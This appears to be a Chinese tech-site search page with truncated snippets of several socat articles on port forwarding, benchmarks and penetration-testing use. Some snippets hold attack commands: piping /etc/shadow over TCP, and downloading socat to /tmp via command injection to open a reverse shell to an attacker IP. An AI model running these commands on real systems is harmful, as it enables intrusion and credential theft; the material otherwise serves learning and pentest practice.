首页
学习
活动
专区
圈层
工具
发布
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    linux卸载socat,socat在Linux下的使用「建议收藏」

    目录 0x01 socat介绍 0x02 socat进行文件传输 0x03 socat正向端口转发 0x04 socat反向端口转发 注: 边界机器 Ubuntu 192.168.222.177 内网机器...win7 192.168.222.137 0x01 socat介绍 socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】...,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。...apt-get install socat 完成后来检验一下是否安装成功 socat -h 0x02 socat进行文件传输 首先,我们去边界机器执行 socat -u /etc/shadow TCP4...socat.exe tcp-listen:1000 tcp-listen:1001 然后,我们在边缘机器上执行命令 注:10.1.135.96是我本地主机的IP socat tcp4-connect

    2.3K20

    socat ,连接不同数据源的中继转发程序

    socat(socket cat)是一个基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。 有点类似于netcat (即nc命令),nc是单纯面向网络的,socat连接的更多。...Ubuntu 系统上安装socate: apt install socat socat可以连接许多不同类型的内容,包括: 文件 管道 文件描述符(标准输入输出,等) 设备 (串口, 伪终端, 等) 套接字...: socat [options] 下边看些具体示例: socat - TCP4:www.example.com:80 上述命令,把STDIO,也就是标准输入输出...注:socat也支持SOCKS4,SOCKS5代理 就到这儿吧,更多示例,见 http://www.dest-unreach.org/socat/doc/socat.html#EXAMPLES 参考:...https://www.redhat.com/en/blog/getting-started-socat http://www.dest-unreach.org/socat/doc/socat.html

    48410

    socat神器解密:网络数据传输的利器

    而socat就是其中之一,它就像是一把神奇的钥匙,能够打开网络通信的大门。本文将带你进入socat的奇妙世界,探索它的功能和用途,让你的网络编程之旅更加有趣。...socat简介 socat 是一个开源的命令行工具,用于在两个数据流之间建立连接。它的名字来源于 “Socket CAT”,它的设计灵感来自于 UNIX 中的 cat 命令。...socat 的特点和用途包括但不限于: 连接任意数据流:socat 可以连接两个任意的数据流,例如网络流、文件、管道、设备等。...以下是它们的配合使用情况和 socat 在网络编程中的应用场景: 1. socat 与 netcat (nc) 的配合使用: 联合用于端口转发:socat 可以提供更多的选项和功能,例如更复杂的协议转换...结合 socat,可以通过 SSH 隧道传输数据,同时利用 socat 的功能来转换协议或者进行其他处理。

    89010

    socat与Brook 端口转发非权威对比测试,到底孰强孰弱?

    常见的端口转发程序有socat、Brook、nginx、rinetd、iptables等,大部分已经在博客做过介绍,有兴趣的同学可参考我之前的文章。...socat与Brook均是通过Docker方式部署,部署完毕后,没有任何连接的情况下,内存占用情况如下。...---- socat测试结果:耗时48m44s,最高内存占用5.8Mb左右。...占用比brook更低 高并发情况下socat内存占用比brook更高 高并发情况下brook CPU占用比socat更高 多线程下载,brook效率好于socat 总结 以上结果仅针对HTTP转发进行压测...如果是个人少量使用,并且机器配置较低的情况下建议socat 如果并发较大,要求更高的效率,建议选择brook 后续将对其它端口转发软件做对比测试,敬请关注。

    1.8K10

    实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty

    ---- 实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty 前言 当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的...使用socat socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。...攻击机: # 首先安装 $ sudo apt install socat # 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444...目标机 # 把socat上传到目标机器上或者直接下载 $ wget https://github.com/andrew-d/static-binaries/raw/master.../binaries/linux/x86_64/socat -O /tmp/socat # 运行 $ chmod +x /tmp/socat $ /tmp/socat exec:'

    6.6K21

    如何将简单的Shell转换成为完全交互式的TTY

    方法2:使用socat socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY。...如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell: 在kali虚拟机我们运行以下侦听命令: socat file:`tty`,raw,echo...socat你可以通过以下Github地址,下载相关的二进制静态文件进行安装: https://github.com/andrew-d/static-binaries 通过命令注入漏洞,我们可以将socat...-O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4...: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint

    6.2K40
    领券